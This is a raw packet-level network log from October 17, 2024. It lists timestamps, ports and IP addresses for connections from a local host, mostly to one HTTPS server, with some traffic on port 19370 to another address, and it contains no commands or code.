Oct 17, 2024 18:19:00.616797924 CEST	51721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.616805077 CEST	443	51721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.618953943 CEST	19370	51724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:00.641566992 CEST	51724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:00.651604891 CEST	19370	51724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:00.703372002 CEST	443	51720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.703553915 CEST	443	51720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.703636885 CEST	51720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.712102890 CEST	51720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.712126017 CEST	443	51720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.712138891 CEST	51720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.712145090 CEST	443	51720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.717128992 CEST	51725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.717175961 CEST	443	51725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.717331886 CEST	51725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.719575882 CEST	51725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.719595909 CEST	443	51725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.750220060 CEST	443	51721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.750253916 CEST	443	51721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.750305891 CEST	443	51721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.750328064 CEST	51721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.750380039 CEST	51721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.762217045 CEST	51724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:00.763034105 CEST	51721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.763056993 CEST	443	51721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.763071060 CEST	51721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.763077974 CEST	443	51721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.767535925 CEST	19370	51724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:00.770116091 CEST	51726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.770149946 CEST	443	51726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.770745039 CEST	51726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.771198034 CEST	51726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.771209002 CEST	443	51726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.783637047 CEST	443	51722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.784276962 CEST	51722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.784290075 CEST	443	51722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.784790039 CEST	51722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.784792900 CEST	443	51722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.889571905 CEST	51724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:00.894669056 CEST	19370	51724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:00.934688091 CEST	443	51722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.934758902 CEST	443	51722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.934845924 CEST	51722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.935368061 CEST	51722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.935391903 CEST	443	51722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.935410023 CEST	51722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.935415030 CEST	443	51722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.940378904 CEST	51727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.940427065 CEST	443	51727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.940507889 CEST	51727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.941246033 CEST	51727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.941258907 CEST	443	51727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.965975046 CEST	443	51723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.974945068 CEST	51723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.974971056 CEST	443	51723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.975516081 CEST	51723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.975523949 CEST	443	51723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.067038059 CEST	51724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:01.071960926 CEST	19370	51724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:01.107147932 CEST	443	51723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.107178926 CEST	443	51723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.107224941 CEST	443	51723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.107261896 CEST	51723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.107311964 CEST	51723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.113954067 CEST	51723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.113976955 CEST	443	51723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.114074945 CEST	51723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.114082098 CEST	443	51723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.126621962 CEST	51728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.126672983 CEST	443	51728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.126732111 CEST	51728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.129956007 CEST	51728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.129967928 CEST	443	51728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.191416025 CEST	51724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:01.196610928 CEST	19370	51724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:01.298888922 CEST	51724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:01.304280996 CEST	19370	51724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:01.312292099 CEST	19370	51724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:01.312695980 CEST	51724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:01.312766075 CEST	51724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:01.319483042 CEST	19370	51724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:01.478801966 CEST	443	51725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.552242994 CEST	443	51726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.620171070 CEST	51725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.645957947 CEST	51725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.645987034 CEST	443	51725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.646898985 CEST	51725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.646907091 CEST	443	51725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.655730963 CEST	51726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.655751944 CEST	443	51726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.656292915 CEST	51726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.656302929 CEST	443	51726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.723953009 CEST	443	51727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.728209019 CEST	51727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.728274107 CEST	443	51727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.728648901 CEST	51727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.728662014 CEST	443	51727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.781697035 CEST	443	51725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.781774044 CEST	443	51725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.781820059 CEST	51725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.789272070 CEST	443	51726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.789442062 CEST	443	51726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.789486885 CEST	51726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.789498091 CEST	443	51726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.789535999 CEST	51726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.813406944 CEST	51725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.813446999 CEST	443	51725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.813462973 CEST	51725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.813469887 CEST	443	51725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.814980984 CEST	51726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.814991951 CEST	443	51726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.815001011 CEST	51726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.815005064 CEST	443	51726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.828598976 CEST	51729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.828648090 CEST	443	51729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.828761101 CEST	51729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.841590881 CEST	51730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.841620922 CEST	443	51730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.841691017 CEST	51730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.842016935 CEST	51729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.842051983 CEST	443	51729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.843449116 CEST	51730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.843473911 CEST	443	51730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.861145020 CEST	443	51727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.861470938 CEST	443	51727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.861527920 CEST	51727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.861723900 CEST	51727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.861746073 CEST	443	51727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.861757994 CEST	51727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.861763000 CEST	443	51727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.872380972 CEST	51731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.872417927 CEST	443	51731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.872483969 CEST	51731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.872653961 CEST	51731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.872665882 CEST	443	51731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.882850885 CEST	443	51728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.889220953 CEST	51728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.889247894 CEST	443	51728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:01.889801979 CEST	51728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:01.889810085 CEST	443	51728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.026321888 CEST	443	51728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.027136087 CEST	443	51728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.027270079 CEST	51728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.056344032 CEST	51728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.056375980 CEST	443	51728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.056390047 CEST	51728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.056396008 CEST	443	51728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.069782972 CEST	51732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.069883108 CEST	443	51732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.069977999 CEST	51732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.080451965 CEST	51732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.080493927 CEST	443	51732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.614825964 CEST	443	51730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.619502068 CEST	443	51729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.623435974 CEST	51730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.623469114 CEST	443	51730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.624156952 CEST	51730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.624166965 CEST	443	51730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.628915071 CEST	51729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.628932953 CEST	443	51729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.629307032 CEST	51729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.629316092 CEST	443	51729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.686266899 CEST	443	51731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.688863039 CEST	51731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.688895941 CEST	443	51731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.689754009 CEST	51731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.689759016 CEST	443	51731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.764882088 CEST	443	51729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.765022993 CEST	443	51729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.765059948 CEST	51729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.765075922 CEST	443	51729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.765116930 CEST	51729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.768834114 CEST	443	51730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.768893003 CEST	443	51730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.769026995 CEST	51730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.810971022 CEST	51729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.810971022 CEST	51729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.811057091 CEST	443	51729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.811088085 CEST	443	51729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.811621904 CEST	51730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.811621904 CEST	51730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.811638117 CEST	443	51730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.811659098 CEST	443	51730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.834019899 CEST	443	51731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.834171057 CEST	443	51731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.834234953 CEST	51731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.853089094 CEST	51731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.853107929 CEST	443	51731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.853120089 CEST	51731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.853125095 CEST	443	51731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.859009027 CEST	443	51732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.861969948 CEST	51733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.862015009 CEST	443	51733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.862087965 CEST	51733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.862248898 CEST	51732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.862278938 CEST	443	51732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.862685919 CEST	51732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.862690926 CEST	443	51732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.863826036 CEST	51733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.863840103 CEST	443	51733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.864994049 CEST	51734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.865005016 CEST	443	51734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.865060091 CEST	51734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.865633011 CEST	51734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.865639925 CEST	443	51734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.867611885 CEST	51735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.867640972 CEST	443	51735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:02.867846966 CEST	51735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.868726969 CEST	51735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:02.868741989 CEST	443	51735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:03.006278992 CEST	443	51732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:03.006359100 CEST	443	51732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:03.006419897 CEST	51732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:03.006439924 CEST	443	51732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:03.006480932 CEST	51732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:03.007642031 CEST	51732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:03.007668018 CEST	443	51732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:03.007682085 CEST	51732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:03.007688999 CEST	443	51732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:03.012401104 CEST	51736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:03.012494087 CEST	443	51736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:03.012579918 CEST	51736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:03.017745972 CEST	51736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:03.017766953 CEST	443	51736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:03.960292101 CEST	443	51733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:03.966779947 CEST	443	51734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:03.973685026 CEST	443	51735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.011178017 CEST	51733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.057722092 CEST	51734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.120240927 CEST	51735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.198060036 CEST	51733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.198101044 CEST	443	51733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.199136019 CEST	51733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.199153900 CEST	443	51733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.201252937 CEST	51734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.201287985 CEST	443	51734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.201797009 CEST	51734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.201812029 CEST	443	51734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.202222109 CEST	51735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.202240944 CEST	443	51735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.202994108 CEST	51735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.202999115 CEST	443	51735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.406136990 CEST	443	51736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.423156023 CEST	51736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.423188925 CEST	443	51736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.424026966 CEST	51736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.424031973 CEST	443	51736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.532372952 CEST	443	51733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.532468081 CEST	443	51733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.532521963 CEST	51733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.534883976 CEST	443	51735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.535067081 CEST	443	51735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.535144091 CEST	51735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.541243076 CEST	51733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.541274071 CEST	443	51733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.542530060 CEST	51735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.542552948 CEST	443	51735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.542576075 CEST	51735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.542582035 CEST	443	51735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.549180031 CEST	51751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.549212933 CEST	443	51751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.549269915 CEST	51751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.550051928 CEST	51751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.550066948 CEST	443	51751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.550996065 CEST	51752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.551019907 CEST	443	51752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.551076889 CEST	51752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.551248074 CEST	51752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.551263094 CEST	443	51752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.609086990 CEST	443	51734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.609113932 CEST	443	51734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.609169960 CEST	443	51734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.609188080 CEST	51734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.609246016 CEST	51734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.610162020 CEST	51734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.610191107 CEST	443	51734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.610208988 CEST	51734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.610215902 CEST	443	51734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.615864992 CEST	51753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.615905046 CEST	443	51753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.615966082 CEST	51753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.616328955 CEST	51753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.616345882 CEST	443	51753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.671334982 CEST	443	51736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.671530962 CEST	443	51736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.671593904 CEST	51736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.678428888 CEST	51736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.678457975 CEST	443	51736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.678473949 CEST	51736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.678482056 CEST	443	51736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.682246923 CEST	51775	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.682286978 CEST	443	51775	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.682518959 CEST	51775	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.683754921 CEST	51775	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:04.683785915 CEST	443	51775	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:04.820061922 CEST	49705	443	192.168.2.6	173.222.162.64
Oct 17, 2024 18:19:04.846935034 CEST	443	49705	173.222.162.64	192.168.2.6
Oct 17, 2024 18:19:05.213223934 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:05.213289976 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:05.213360071 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:05.213742018 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:05.213757038 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:05.463869095 CEST	443	51752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.468863964 CEST	443	51751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.470046997 CEST	51752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.470082045 CEST	443	51752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.470617056 CEST	51752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.470622063 CEST	443	51752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.471888065 CEST	51751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.471908092 CEST	443	51751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.472361088 CEST	51751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.472368002 CEST	443	51751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.658384085 CEST	443	51753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.662599087 CEST	443	51775	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.664747953 CEST	443	51752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.664817095 CEST	443	51752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.664916039 CEST	51752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.664931059 CEST	443	51752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.665033102 CEST	51752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.672126055 CEST	51753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.672153950 CEST	443	51753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.672677994 CEST	51753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.672682047 CEST	443	51753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.672700882 CEST	51775	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.672717094 CEST	443	51775	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.672961950 CEST	51752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.673008919 CEST	443	51752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.673038006 CEST	51752	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.673054934 CEST	443	51752	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.673151970 CEST	51775	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.673156977 CEST	443	51775	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.678010941 CEST	443	51751	13.107.246.45	192.168.2.6
